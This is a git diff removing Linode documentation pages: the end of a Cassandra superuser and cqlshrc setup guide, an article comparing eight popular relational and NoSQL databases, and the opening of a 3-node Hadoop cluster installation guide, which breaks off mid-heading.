cqlsh -u new-super-user -p my-secure-password - -1. Remove the elevated permissions from the Cassandra account: - - ALTER ROLE cassandra WITH PASSWORD = 'cassandra' AND SUPERUSER = false AND LOGIN = false; - REVOKE ALL PERMISSIONS ON ALL KEYSPACES FROM cassandra; - -1. Grant all permissions to the new superuser account. Replace the brackets and contents inside with your superuser account username: - - GRANT ALL PERMISSIONS ON ALL KEYSPACES TO [superuser]; - -1. Log out by typing `exit`. - -### Edit The Console Configuration File - -The `cqlshrc` file holds configuration settings that influence user preferences and how Cassandra performs certain tasks. - -{{< note >}} -Ensure you complete the steps in this section using your limited user account. This account will need [sudo privileges](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account), if it does not already have them. -{{< /note >}} - -Since your Cassandra username and password can be stored in plaintext, the `cqlshrc` file should only be accessible to your administrative user account, and is designed to be inaccessible to other accounts on your Linux system. - -{{< note type="alert" >}} -Do not complete this section as the root user. Before proceeding, fully evaluate the security risks and consequences to your node cluster before adding the `[authentication]` section. -{{< /note >}} - -1. Create the file `cqlshrc` using your preferred text editor. If the `~/.cassandra` directory does not exist, create it: - - sudo mkdir ~/.cassandra - sudo vim ~/.cassandra/cqlshrc - -1. Copy any sections below that you wish to add to your configuration, and ensure you replace the `superuser` and `password` value in brackets with your own values. Details for this file can be found in the [Configuring cqlsh From a File](https://docs.datastax.com/en/archived/cql/3.3/cql/cql_reference/cqlshUsingCqlshrc.html) guide on the [DataStax](https://www.datastax.com/) site. - - {{< file "~/.cassandra/cqlshrc" aconf >}} -. . . - -;; Options that are common to both COPY TO and COPY FROM - -[copy] -;; The string placeholder for null values -nullval=null -;; For COPY TO, controls whether the first line in the CSV output file will -;; contain the column names. For COPY FROM, specifies whether the first -;; line in the CSV file contains column names. -header=true -;; The string literal format for boolean values -boolstyle = True,False -;; Input login credentials here to automatically login to the Cassandra command line without entering them each time. When this -;; is enabled, just type "cqlsh" to start Cassandra. -[authentication] -username=[superuser] -password=[password] - -;; Uncomment to automatically use a certain keyspace on login -;; keyspace=[keyspace] - -[ui] -color=on -datetimeformat=%Y-%m-%d %H:%M:%S%z -completekey=tab -;; The number of digits displayed after the decimal point -;; (note that increasing this to large numbers can result in unusual values) -float_precision = 5 -;; The encoding used for characters -encoding = utf8 - -. . . -{{< /file >}} - - -1. Save and close the file. - -1. Update the `cqlshrc` file and directory with the following permissions: - - sudo chmod 440 ~/.cassandra/cqlshrc - sudo chmod 700 ~/.cassandra - -1. Login by typing the command below. You will be prompted to enter your password. The `cqlsh` command terminal should open, and your superuser name should be visible in the command line. - - cqlsh -u superuser - - {{< note respectIndent=false >}} -You can also login by providing your username and password: - - cqlsh -u superuser -p password - {{< /note >}} - -## Rename the Cluster - -In this section, you will update your default cluster name from "Test Cluster" to your desired name. - -1. Log into the `cqlsh` control terminal if you are not already logged in. - - cqlsh -u superuser - -1. Replace `[new_name]` with your new cluster name: - - UPDATE system.local SET cluster_name = '[new_name]' WHERE KEY = 'local'; - -1. Type `exit` to return to the Linux command line. - -1. Edit the `cassandra.yaml` file and replace the value in the `cluster_name` variable with the new cluster name you just set. - - sudo vim /etc/cassandra/cassandra.yaml - -1. Save and close. - -1. From the Linux terminal (not cqlsh) clear the system cache. This command will not disturb your node's data. - - nodetool flush system - -1. Restart Cassandra: - - sudo systemctl restart cassandra - -1. Log in with cqlsh and verify the new cluster name is visible. - - cqlsh -u superuser - - {{< output >}} -Connected to my-cluster-name at 127.0.0.1:9042. -[cqlsh 5.0.1 | Cassandra 4.0 | CQL spec 3.4.5 | Native protocol v4] -Use HELP for help. -superuser@cqlsh> - {{}} - -## Where To Go From Here - -Be sure to check out the links in the [More Information](#more-information) section, which will help you further configure Cassandra to your needs, as well as provide resources to improve your understanding and ability to use Cassandra. - -To fully utilize the capabilities of Cassandra in a production setting, additional nodes should be added to your cluster. See the companion guide [Adding Nodes to an Existing Cluster](https://docs.datastax.com/en/archived/cassandra/3.0/cassandra/operations/opsAddNodeToCluster.html) for more information. \ No newline at end of file diff --git a/docs/guides/databases/general/list-of-databases/index.md b/docs/guides/databases/general/list-of-databases/index.md deleted file mode 100644 index 1c7883759ba..00000000000 --- a/docs/guides/databases/general/list-of-databases/index.md +++ /dev/null @@ -1,351 +0,0 @@ ---- -slug: list-of-databases -title: "Comparing DBMSs: The 8 Most Popular Databases" -description: "Searching for a list of the most popular databases? Our article covers what to look for in a database and top options for data storage." -authors: ["Jack Wallen"] -contributors: ["Jack Wallen"] -published: 2022-02-25 -keywords: ['database',database lists'','best database'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -Databases power nearly every digital platform on the planet: From websites, to blogs, to social media, to streaming services. Most end-users know databases such as MySQL as a tool to store data. That's a pretty accurate, although fundamental, description of what a database is. However, they are much more than that. - -## The Different Types of Databases - -The general term *database* often confounds two separate and distinct components: the database and the Database Management System (DBMS). The database stores the data and the DBMS is the tool, or set of tools, you use to manage the data. The DBMS is addressed here, because it comprises the tools that allow database administrators to communicate with the database so they can fully manage and govern it. - -Database Management Systems are broken down into three layers: - -- **Client**: Makes requests via the command line or a GUI screen using valid SQL queries. -- **Server**: Responsible for all logical functionality of the server. -- **Storage**: Handles data storage. - -Within those layers are tools such as a thread handler, a query language, a parser, an optimizer, a query cache, a buffer, table metadata cache, and a key cache. These pieces come together to make up a powerful system for admins, users, and software to use to store and retrieve data. - -One crucial aspect of the DBMS is the query language. This is the special language used to interact with a database. It's a very particular language and must be used according to the specifications set by the DBMS. Some DBMS' have their own, proprietary, query languages, but the most popular are: - -- **SQL** - Structured Query Language is one of the most widely used query languages on the market and is used by MS SQL and MySQL. -- **XQuery** - Uses the XML file format to extract and manipulate data. -- **OQL** - Object Query Language is the default language for object-oriented databases which are often used in Big Data use cases. -- **SQL/XML** - A combination of SQL and XQuery and supports SQL statements on XML data. -- **GraphQL** - An open-source language capable of working with APIs and also a runtime that can be used for queries against existing data. -- **LINQ** - Language Integrated Query extracts and processes data from various sources, such as XML documents and relational databases. - -## Relational and Non-Relational Databases - -DBMSs use two primary types of database: Relational and Non-Relational. The distinction between these two is important, as they help define the best use case for a database. - -A relational database is one that stores information in tables containing related data. What gives a relational database its name is that relationships can be made between two or more tables. The relationships correlate rows belonging to two different tables into a third table. Relational databases are best used when the data they contain doesn't often change and when the accuracy of the data is crucial. - -Non-relational databases (also called [NoSQL Databases](/cloud/guides/what-is-nosql/)) store their information in a non-tabular form. Instead, non-relational databases store data in data models, of which the four most common types are: - -- **Document-oriented** - data is stored as JSON documents. -- **Key-value** - data is stored in key pairs. -- **Graph** - data is stored in a node-edge-node structure. -- **Wide-column** - data is stored in a tabular format with flexible columns that can vary from row to row. - -Because they store data this way, non-relational databases are much more flexible. They can store a wide variety of different types of data. This makes them ideal when it's necessary to store massive amounts of complex data, like when working with Big Data applications. - -## What to Look for in a Database - -The first question to ask is, "Should I use a relational or non-relational database?" A relational database is best used for instances that require *ACID* (Atomicity, Consistency, Isolation, Durability) compliance, data accuracy, normalization, and simplicity, but do not require scalability, flexibility, and high performance. A good example of a relational database use case is a dynamic, database-driven web site such as WordPress. - -On the other hand, a non-relational database is best used when data flexibility, speed, and scalability is crucial. A good example of a non-relational database use case is a cloud-based app that depends on massive scaling. - -## Eight Popular Databases - -This list of the eight most popular databases is divided into 4 relational and 4 non-relational databases. - -### Relational Databases - -The following are the most popular relational databases on the market today. - -#### Oracle - -Oracle database was originally developed in 1977, which makes it the oldest database on the list. As of [January 2022](https://www.statista.com/statistics/809750/worldwide-popularity-ranking-database-management-systems/), Oracle holds the top spot as the most widely-used relational database management system in the world (with a Statista ranking score of 1266.89). - -Oracle Database comes in five editions: - -- **Enterprise** - includes all of the DBMS features as well as the Oracle Real Application Clusters option for high availability. -- **Personal** - includes all features, minus the Oracle Real Application Clusters option. -- **Standard** - includes base functionality. -- **Express** - lightweight and free limited version for both Windows and Linux. -- **Oracle Lite** - for mobile device use cases. - -The primary reason why Oracle Database holds the top market share spot is that it is one of the most scalable of the relational databases. It achieves this by splitting its architecture between the logical and physical. By doing this, the data location becomes irrelevant and transparent, which allows for a more modular structure that can be modified without affecting the database itself. By building Oracle Database this way, it's possible to share resources to achieve a much more flexible data network. - -Some of the stand-out features of Oracle Database include: - -- [Real Application Clustering](https://www.oracle.com/database/real-application-clusters/) (RAC) and portability that makes it possible to scale without losing performance and data consistency. -- Efficient memory caching. -- Highly performant partitioning, which makes it possible to break larger tables into numerous pieces. -- Hot, cold, and incremental backups by way of the [Recovery Manager](https://www.oracle.com/database/technologies/high-availability/rman.html) tool. -- Tools for controlling data access and usage. - -The advantages of Oracle Database include: - -- Uses the SQL query language. -- High performance. -- Portable (can run on nearly 20 networking protocols and numerous hardware platforms). -- Instance Caging makes it possible to run multiple database management from a single server. -- Numerous editions to best fit your business and/or use case. -- Clustering for scalability, load balancing, redundancy, and performance. -- Failure recovery via the RMAN (Recovery Manager) tool. -- PL/SQL support. - -The disadvantages of Oracle Database include: - -- **Proprietary** - Oracle isn't open-source. -- **Complexity** - It's one of the more complex relational databases on the market. -- **Cost** - Oracle Database can be up to 10 times more costly than MS SQL. - -Find out how to [use Oracle Database Express Edition with Linode](/cloud/guides/databases/oracle/). - -#### MySQL - -MySQL is one of the most popular open-source relational databases on the market. According to [DB-Engines](https://db-engines.com/en/), MySQL is ranked #2, behind Oracle Database, in their most-used databases on the market. - -Released in May, 1995, MySQL is mature and reliable. It is one of the most relied-upon options available. Written in C and C++, MySQL runs on Linux, Solaris, macOS, Windows, and FreeBSD, and is licensed under the GPLv2. - -MySQL is a relational database and does not scale to the extent of a non-relational database, but it does support multi-threading, which makes it possible to scale it such that it can handle up to 50 million-plus rows with a default file size limit of 4GB, with a theoretical limit of 8 TB. - -Some of the standout features of MySQL include: - -- **Security** - Uses a solid data security layer to protect sensitive data and all passwords are encrypted. -- **Roll-Back** - Allows transactions to be rolled back. -- **Memory Efficient** - Has very low memory leakage. -- **Productive** - Uses Triggers, Stored Procedures, and Views for higher productivity. -- **Partitioning** - Supports partitioning to improve the performance of very large databases. -- **GUIs** - MySQL Workbench GUI manages the database. - -The Advantages of using MySQL include: - -- **Free** - this is a free, open-source database that can be installed on as many server instances as you need. -- **Familiarity** - MySQL uses the SQL query language, so db admins familiar with the language are up to speed in no time with this DBMS. MySQL also follows the typical client/structure architecture. -- **Speed** - Is one of the fastest relational databases, thanks to a unique storage engine. -- **Integration** - MySQL enjoys integration into thousands of third-party applications, such as blogging systems, CRMs, HRMs, ERPs, and many other types of applications. - -Learn [how to install a MySQL instance on a Linode server](/cloud/guides/installing-and-configuring-mysql-on-ubuntu-2004/). - -#### Microsoft SQL Server - -Microsoft SQL Server is the DBMS developed by Microsoft. This database is a proprietary solution, but it can be installed on both Linux and Windows. MS SQL Server was first released on April 24, 1989, and is now offered as five different editions: - -- **Standard** - Core functionality required for most applications. -- **Web** - Low-cost option that differs from the standard edition in terms of maximum memory allowed for the buffer pool and maximum compute capacity. -- **Enterprise** - Supports a wide array of data warehouse features and includes advanced features such as data compression, enhanced security, and support for larger data size. -- **Developer** - Designed for developers and includes the ability to create stored procedures, functions, and views. -- **Express** - Limited to individuals or small organizations and doesn't include any of the advanced functionality. - -MS SQL Server works with the SQL query language and uses the SQL Server Operating System (SQLOS), which manages memory and I/O resources, jobs, and data processing. - -The advantages of Microsoft SQL Server include: - -- **Native support for Visual Studio** - Support for data programming is built into Visual Studio, so DB admins can create, view, and edit database schemas. -- **Full-text search service** - Allows for searches of word-based queries. -- **Multiple version support** - Allows installation of multiple versions of MS SQL Server on one machine. -- **Easy installation** - Can be installed with a single click. -- **Data Restoration and Recovery** - Built-in tools for data recovery. -- **Support** - MS SQL Server has a massive community of users with plenty of help and support available from various sources. - -The disadvantages of MS SQL are few but should be considered by anyone thinking about adopting this database platform. Those disadvantages include: - -- Costly and confusing pricing. -- Poor user interface. -- Only grants partial control over databases. - -#### PostgreSQL - -[PostgreSQL](https://www.postgresql.org/) (also called Postgres) is another free and open-source database management system that originally served as the successor to the Ingres database. PostgreSQL calls itself, "The world's most advanced open-source relational database," and currently holds a [14.70% market share for relational databases](https://www.slintel.com/tech/relational-databases/postgresql-market-share). - -Released in 1996, PostgreSQL enjoys a very active development cycle and a large support community. What sets PostgreSQL apart from other open-source relational databases is that it's an object-relational database management system, which means it's similar to a relational database, but it uses an object-oriented database model. - -PostgreSQL is catalog-driven, so it lets users define data types, index types, and functional languages, making it more extensible than other relational databases. - -Some of the stand-out features of PostgreSQL include: - -- ACID compliance. -- Highly concurrent. -- Includes NoSQL support -- Schema and query language support for objects, classes, inheritance, and function overloading. -- Common Table Expression (the temporary results of a query which is used within the context of a larger query). -- Declarative partitioning (which reduces that amount of work required to partition data). -- Full-text search. -- Geographic Information System/Spatial Reference System support (for capturing, storing, checking, and displaying data related to positions on Earth's surface). -- JSON support. -- Logical replication (which is a method of replicating data objects based on a primary key). - -The advantages of PostgreSQL are: - -- Ideal for complex, high-volume data operations. -- Highly customizable by way of plugins and the use of custom functions written in C, C++, and Java. -- Multi-version concurrency control (an advanced technique for improving database performance in a multi-user environment). -- Reading locks aren't necessary, so it offers greater scalability than other relational databases. -- Cross-platform (available for BSD, Linux, macOS, Solaris, and Windows). - -As far as disadvantages, PostgreSQL suffers a few, such as: - -- More complicated than MySQL. -- Slower than MySQL. -- No easy way to migrate data from other RDBMSs. -- Poor data compression. -- Complicated horizontal scaling. -- Poor clustering support. -- No built-in support for machine learning. - -Check out our guide on [how to install PostgreSQL on an Ubuntu 20.04 server](/cloud/guides/how-to-install-use-postgresql-ubuntu-20-04/) for more information. - -### Non-Relational Databases - -The following sections cover the most popular non-relational databases on the market today. - -#### Redis - -Redis is an in-memory data structure store that is used as a distributed, key-value NoSQL database. Redis stands for *Remote Dictionary Server* and uses an advanced key-value store that includes optional durability. Redis is often referred to as a data structure server because keys can contain strings, hashes, lists, sets, and sorted sets. - -Redis is a volatile, in-memory database, which makes it a good option for systems with a large amount of hot data. Redis stores data in cache, which makes read/writes faster and data always highly available. - -The features that make Redis outstanding include: - -- Minimum complexity compared to other NoSQL databases. -- Lightweight and requires no external dependencies. -- Works in all POSIX environments. -- Support for synchronous, non-blocking, master/slave replication for high availability. -- Mapped key-value-based caching system, which is comparable to memcached. -- No strict rules for defining schemas or tables. -- Support for multiple data models or types. -- Sharding support. -- Can be used in conjunction with other databases to reduce load and increase performance. - -The advantages of using Redis include: - -- Allows storing key-value pairs as large as 512 MB. -- Uses its own hashing mechanism. -- Thanks to data replication, Redis cache withstands failures and still provides uninterrupted service. -- All the popular programming languages support it. -- Supports the insertion of huge amounts of data into its cache. -- Because of its small footprint, it can be installed on Raspberry Pi and ARM hardware. - -The disadvantages of using Redis include the following: - -- All of your data must fit in memory and you cannot manage more data than you have memory. -- There is no query language or support for relational algebra. -- Only offers two options for persistency (snapshots and append-only files). -- Basic security features. -- Only runs on one CPU core in single-threaded mode, so scalability requires several instances of Redis. - -Check out our guide on [how to install and configure Redis on an Ubuntu 20.04 server](/cloud/guides/install-redis-ubuntu/) for more information. - -#### MongoDB - -MongoDB is an open-source, document-oriented NoSQL database, focused on high volume data storage. MongoDB is considered schema-less, so it does not enforce a particular structure on documents contained in a collection. Originally released in 2009, this NoSQL database uses JSON-like documents with optional schemas and can be installed on-premise or fully managed in the cloud. MongoDB is considered a very good candidate for big data, and can be used by organizations of all sizes. - -The features that make MongoDB stand out include: - -- Supports field, range query, and regex searches. -- Achieves high availability with replica sets. -- Supports sharding. -- Can be used as a file system (called GridFS). -- Supports pipeline, map-reduce function, and single-purpose aggregation methods. -- JavaScript supported within queries. -- Supports fixed-sized collections, called capped collections. -- Indexes can be created to improve search performance. -- Allows operations to be performed on grouped data for either a single result or computed result. - -The advantages of the MongoDB database include: - -- Supports an expressive query language. -- Not necessary to spend time designing a database schema because it's schemaless. -- Flexible and performant. -- Supports geospatial efficiency. -- Supports multiple document ACID transitions. -- Does not require SQL injection. -- Can be quickly integrated with Hadoop. -- Open-source and free to use. - -The disadvantages of the MongoDB database include: - -- Requires a large amount of memory, especially when scaling. -- 16 MB data document storage limit. -- 100 level limit of data nesting. -- Doesn't support transactions. -- Joining documents is complicated. -- Can be slow if indexes aren't used correctly. -- Because relationships aren't defined well, they can lead to duplicated data. - -Check out our guide on [MongoDB use cases](/cloud/guides/mongodb-introduction/) for more information. - -#### Apache Cassandra - -Apache Cassandra is an open-source, distributed, NoSQL database management system. It is designed to handle very large amounts of data across commodity servers. Cassandra was originally developed within Facebook to power the platform's index search feature. In July 2008, Facebook open-sourced Cassandra via Google Code, and in March 2009 it officially became an Apache Incubator project. - -The features that make Cassandra stand out include: - -- Distributed nodes all have the same role, so there's no single point of failure. -- Supports both replication and multi-data center replication. -- Read/write throughput increases linearly as machines are added to achieve high scalability. -- Data replicates automatically to multiple distributed nodes. -- Availability and partition tolerance is more important than consistency, thereby classifying it as an AP System (within the CAP theorem). -- Supports Hadoop integration with MapReduce support. -- Includes its own query language, Cassandra Query Language. - -Apache Cassandra’s advantages include: - -- Elastic scalability makes it possible to scale Cassandra up and down as needed without downtime. -- Follows a peer-to-peer architecture, so failure is rare compared to master-slave configurations. -- Four key methods of data analytics, including Solr-based integration, batch analysis (with Hadoop integration), external analysis (with the help of Hadoop and Cloudera/Hortonworks). -- Near real-time analytics. -- Multi-data center and hybrid cloud support. -- Data can be stored as either structured, semi-structured, or unstructured data. - -The disadvantages of Apache Cassandra include: - -- Limited ACID support. -- Latency can be an issue because of the large amount of I/O. -- Data is modeled around queries, instead of structure, which can result in duplicate information stored numerous times. -- No join or subquery support. -- Although writes are fast, reads can be slow. -- Limited official documentation. - -Checkout our guides on [Apache Cassandra](/cloud/guides/databases/cassandra/) to learn more. - -#### CouchDB - -CouchDB is our final open-source, document-oriented NoSQL database. This particular tool stores data in JSON documents and uses JavaScript as its query language with the help of MapReduce. CouchDB embraces the web by accessing documents via HTTP. Once accessed, those documents can be queried, combined, and transformed with JavaScript. This NoSQL database is perfectly suited for both web and mobile applications, thanks to on-the-fly document transformations and real-time change notifications. - -The features that make CouchDB stand out include: - -- Database replication across multiple server instances. -- Fast indexing and retrieval. -- REST-like interface. -- Multiple libraries make it easy to use your language of choice. -- Browser-based GUI manages data, permissions, and configurations. -- Support for replication. -- Follows all features of ACID properties. -- Authentication and session support. -- Database-level security. -- Built-in support for Map/reduce (model for processing and generating big data sets with a parallel, distributed algorithm). - -Advantages of using CouchDB include: - -- Ability to store the same document in multiple database instances. -- Serialized objects can be stored as unstructured data in JSON documents. -- Redundant data storage. Can replicate and sync with browsers, via PouchDB. -- Sharding and clustering support. -- Master-to-Master replication allows for continuous backup. - -The disadvantages of CouchDB include: - -- Slower than some NoSQL databases. -- Requires a lot of overhead. -- Arbitrary queries are expensive. -- Temporary views on massive datasets are slow. -- No support for transactions. -- Large database replication is unreliable. - -Check out our guide on [Using CouchDB 2.0 on Ubuntu 20.04](/cloud/guides/use-couchdb-2-0-on-ubuntu-20-04/) for more information. - -## Conclusion - -No matter the project you're working on, there's a database that perfectly suits your needs. Whether you're developing a small dynamic website that depends on high levels of data consistency, where you'd use a relational database, or an app that will scale to massive proportions, where you'd use a non-relational database, you have options. With Linode, you can work with any of these databases to effectively store your data and interact with your applications. It is important, however, to know exactly what your app needs from a database before you select which one. Make the wrong choice and it could be costly to retool. \ No newline at end of file diff --git a/docs/guides/databases/hadoop/how-to-install-and-set-up-hadoop-cluster/index.md b/docs/guides/databases/hadoop/how-to-install-and-set-up-hadoop-cluster/index.md deleted file mode 100644 index 1c9102fb66d..00000000000 --- a/docs/guides/databases/hadoop/how-to-install-and-set-up-hadoop-cluster/index.md +++ /dev/null @@ -1,525 +0,0 @@ ---- -slug: how-to-install-and-set-up-hadoop-cluster -title: 'How to Install and Set Up a 3-Node Hadoop Cluster' -description: 'This Linode guide will show you how to install and set up a 3-node Hadoop cluster.' -authors: ["Florent Houbart"] -contributors: ["Florent Houbart"] -published: 2017-10-13 -modified: 2017-10-16 -keywords: ["Hadoop", " YARN", " HDFS"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[YARN Command Reference](https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/YarnCommands.html)' -- '[HDFS Shell Documentation](https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/FileSystemShell.html)' -- '[core-site.xml properties](https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/core-default.xml)' -- '[hdfs-site.xml properties](https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-hdfs/hdfs-default.xml)' -- '[mapred-site.xml properties](https://hadoop.apache.org/docs/current/hadoop-mapreduce-client/hadoop-mapreduce-client-core/mapred-default.xml)' -- '[core-site.xml properties](https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-common/yarn-default.xml)' -tags: ["database"] -aliases: ['/databases/hadoop/how-to-install-and-set-up-hadoop-cluster/'] ---- - -## What is Hadoop? - -Hadoop is an open-source Apache project that allows creation of parallel processing applications on large data sets, distributed across networked nodes. It is composed of the **Hadoop Distributed File System (HDFS™)** that handles scalability and redundancy of data across nodes, and **Hadoop YARN**, a framework for job scheduling that executes data processing tasks on all nodes. - -![How to Install and Set Up a 3-Node Hadoop Cluster](hadoop-1-logo.png "How to Install and Set Up a 3-Node Hadoop Cluster") - -## Before You Begin - -1. Create 3 Linode Compute Instances. They'll be referred to throughout this guide as **node-master**, **node1**, and **node2**. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. [Add a Private IP Address](https://techdocs.akamai.com/cloud-computing/docs/managing-ip-addresses-on-a-compute-instance#adding-an-ip-address) to each Linode so that your Cluster can communicate with an additional layer of security. - -1. Follow the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to harden each of the three servers. It is recommended that you set the hostname of each Linode to match the naming convention used when creating them. Create a normal user for the Hadoop installation, and a user called `hadoop` for the Hadoop daemons. Do **not** create SSH keys for `hadoop` users. SSH keys will be addressed in a later section. - -1. Install the JDK using the appropriate guide for your distribution, [Debian](/cloud/guides/install-java-on-debian/), [CentOS](/cloud/guides/install-java-on-centos/) or [Ubuntu](/cloud/guides/install-java-on-ubuntu-16-04/), or install the latest JDK from Oracle. - -1. The steps below use example IPs for each node. Adjust each example according to your configuration: - - - **node-master**: 192.0.2.1 - - **node1**: 192.0.2.2 - - **node2**: 192.0.2.3 - - {{< note respectIndent=false >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. All commands in this guide are run with the *hadoop* user if not specified otherwise. -{{< /note >}} - -## Architecture of a Hadoop Cluster - -Before configuring the master and worker nodes, it's important to understand the different components of a Hadoop cluster. - -A **master node** maintains knowledge about the distributed file system, like the `inode` table on an `ext3` filesystem, and schedules resources allocation. **node-master** will handle this role in this guide, and host two daemons: - -* The **NameNode** manages the distributed file system and knows where stored data blocks inside the cluster are. -* The **ResourceManager** manages the YARN jobs and takes care of scheduling and executing processes on worker nodes. - -**Worker nodes** store the actual data and provide processing power to run the jobs. They'll be **node1** and **node2**, and will host two daemons: - -* The **DataNode** manages the physical data stored on the node; it's named, `NameNode`. -* The **NodeManager** manages execution of tasks on the node. - -## Configure the System - -### Create Host File on Each Node - -For each node to communicate with each other by name, edit the `/etc/hosts` file to add the private IP addresses of the three servers. Don't forget to replace the sample IP with your IP: - -{{< file "/etc/hosts" >}} -192.0.2.1 node-master -192.0.2.2 node1 -192.0.2.3 node2 - -{{< /file >}} - -### Distribute Authentication Key-pairs for the Hadoop User - -The master node will use an SSH connection to connect to other nodes with key-pair authentication. This will allow the master node to actively manage the cluster. - -1. Login to **node-master** as the `hadoop` user, and generate an SSH key: - - ssh-keygen -b 4096 - - When generating this key, leave the password field blank so your Hadoop user can communicate unprompted. - -1. View the **node-master** public key and copy it to your clipboard to use with each of your worker nodes. - - less /home/hadoop/.ssh/id_rsa.pub - -1. In each Linode, make a new file `master.pub` in the `/home/hadoop/.ssh` directory. Paste your public key into this file and save your changes. - -1. Copy your key file into the authorized key store. - - cat ~/.ssh/master.pub >> ~/.ssh/authorized_keys - -### Download and Unpack Hadoop Binaries - -Log into **node-master** as the `hadoop` user, download the Hadoop tarball from [Hadoop project page](https://hadoop.apache.org/), and unzip it: - - cd - wget http://apache.cs.utah.edu/hadoop/common/current/hadoop-3.1.2.tar.gz - tar -xzf hadoop-3.1.2.tar.gz - mv hadoop-3.1.2 hadoop - -### Set Environment Variables - -1. Add Hadoop binaries to your PATH. Edit `/home/hadoop/.profile` and add the following line: - - {{< file "/home/hadoop/.profile" shell >}} -PATH=/home/hadoop/hadoop/bin:/home/hadoop/hadoop/sbin:$PATH -{{< /file >}} - -1. Add Hadoop to your PATH for the shell. Edit `.bashrc` and add the following lines: - - {{< file "/home/hadoop/.bashrc" shell >}} -export HADOOP_HOME=/home/hadoop/hadoop -export PATH=${PATH}:${HADOOP_HOME}/bin:${HADOOP_HOME}/sbin -{{< /file >}} - -## Configure the Master Node - -Configuration will be performed on **node-master** and replicated to other nodes. - -### Set JAVA_HOME - -1. Find your Java installation path. This is known as `JAVA_HOME`. If you installed open-jdk from your package manager, you can find the path with the command: - - update-alternatives --display java - - Take the value of the *current link* and remove the trailing `/bin/java`. For example on Debian, the link is `/usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java`, so `JAVA_HOME` should be `/usr/lib/jvm/java-8-openjdk-amd64/jre`. - - If you installed java from Oracle, `JAVA_HOME` is the path where you unzipped the java archive. - -2. Edit `~/hadoop/etc/hadoop/hadoop-env.sh` and replace this line: - - export JAVA_HOME=${JAVA_HOME} - - with your actual java installation path. On a Debian 9 Linode with open-jdk-8 this will be as follows: - - {{< file "~/hadoop/etc/hadoop/hadoop-env.sh" shell >}} -export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64/jre - -{{< /file >}} - - - -### Set NameNode Location - -Update your `~/hadoop/etc/hadoop/core-site.xml` file to set the NameNode location to **node-master** on port `9000`: - -{{< file "~/hadoop/etc/hadoop/core-site.xml" xml >}} - - - - - fs.default.name - hdfs://node-master:9000 - - - -{{< /file >}} - - -### Set path for HDFS - -Edit `hdfs-site.conf` to resemble the following configuration: - -{{< file "~/hadoop/etc/hadoop/hdfs-site.xml" xml >}} - - - dfs.namenode.name.dir - /home/hadoop/data/nameNode - - - - dfs.datanode.data.dir - /home/hadoop/data/dataNode - - - - dfs.replication - 1 - - - -{{< /file >}} - - -The last property, `dfs.replication`, indicates how many times data is replicated in the cluster. You can set `2` to have all the data duplicated on the two nodes. Don't enter a value higher than the actual number of worker nodes. - -### Set YARN as Job Scheduler - -Edit the `mapred-site.xml` file, setting YARN as the default framework for MapReduce operations: - -{{< file "~/hadoop/etc/hadoop/mapred-site.xml" xml >}} - - - mapreduce.framework.name - yarn - - - yarn.app.mapreduce.am.env - HADOOP_MAPRED_HOME=$HADOOP_HOME - - - mapreduce.map.env - HADOOP_MAPRED_HOME=$HADOOP_HOME - - - mapreduce.reduce.env - HADOOP_MAPRED_HOME=$HADOOP_HOME - - - -{{< /file >}} - - -### Configure YARN - -Edit `yarn-site.xml`, which contains the configuration options for YARN. In the `value` field for the `yarn.resourcemanager.hostname`, replace `203.0.113.0` with the public IP address of **node-master**: - -{{< file "~/hadoop/etc/hadoop/yarn-site.xml" xml >}} - - - yarn.acl.enable - 0 - - - - yarn.resourcemanager.hostname - 203.0.113.0 - - - - yarn.nodemanager.aux-services - mapreduce_shuffle - - - -{{< /file >}} - - -### Configure Workers - -The file `workers` is used by startup scripts to start required daemons on all nodes. Edit `~/hadoop/etc/hadoop/workers` to include both of the nodes: - -{{< file "~/hadoop/etc/hadoop/workers" resource >}} -node1 -node2 - -{{< /file >}} - - -## Configure Memory Allocation - -Memory allocation can be tricky on low RAM nodes because default values are not suitable for nodes with less than 8GB of RAM. This section will highlight how memory allocation works for MapReduce jobs, and provide a sample configuration for 2GB RAM nodes. - -### The Memory Allocation Properties - -A YARN job is executed with two kind of resources: - -- An *Application Master* (AM) is responsible for monitoring the application and coordinating distributed executors in the cluster. -- Some executors that are created by the AM actually run the job. For a MapReduce jobs, they'll perform map or reduce operation, in parallel. - -Both are run in *containers* on worker nodes. Each worker node runs a *NodeManager* daemon that's responsible for container creation on the node. The whole cluster is managed by a *ResourceManager* that schedules container allocation on all the worker-nodes, depending on capacity requirements and current charge. - -Four types of resource allocations need to be configured properly for the cluster to work. These are: - -1. How much memory can be allocated for YARN containers on a single node. This limit should be higher than all the others; otherwise, container allocation will be rejected and applications will fail. However, it should not be the entire amount of RAM on the node. - - This value is configured in `yarn-site.xml` with `yarn.nodemanager.resource.memory-mb`. - -2. How much memory a single container can consume and the minimum memory allocation allowed. A container will never be bigger than the maximum, or else allocation will fail and will always be allocated as a multiple of the minimum amount of RAM. - - Those values are configured in `yarn-site.xml` with `yarn.scheduler.maximum-allocation-mb` and `yarn.scheduler.minimum-allocation-mb`. - -3. How much memory will be allocated to the ApplicationMaster. This is a constant value that should fit in the container maximum size. - - This is configured in `mapred-site.xml` with `yarn.app.mapreduce.am.resource.mb`. - -4. How much memory will be allocated to each map or reduce operation. This should be less than the maximum size. - - This is configured in `mapred-site.xml` with properties `mapreduce.map.memory.mb` and `mapreduce.reduce.memory.mb`. - -The relationship between all those properties can be seen in the following figure: - -![Schema of memory allocation properties](hadoop-2-memory-allocation-new.png "Schema of memory allocation properties") - -### Sample Configuration for 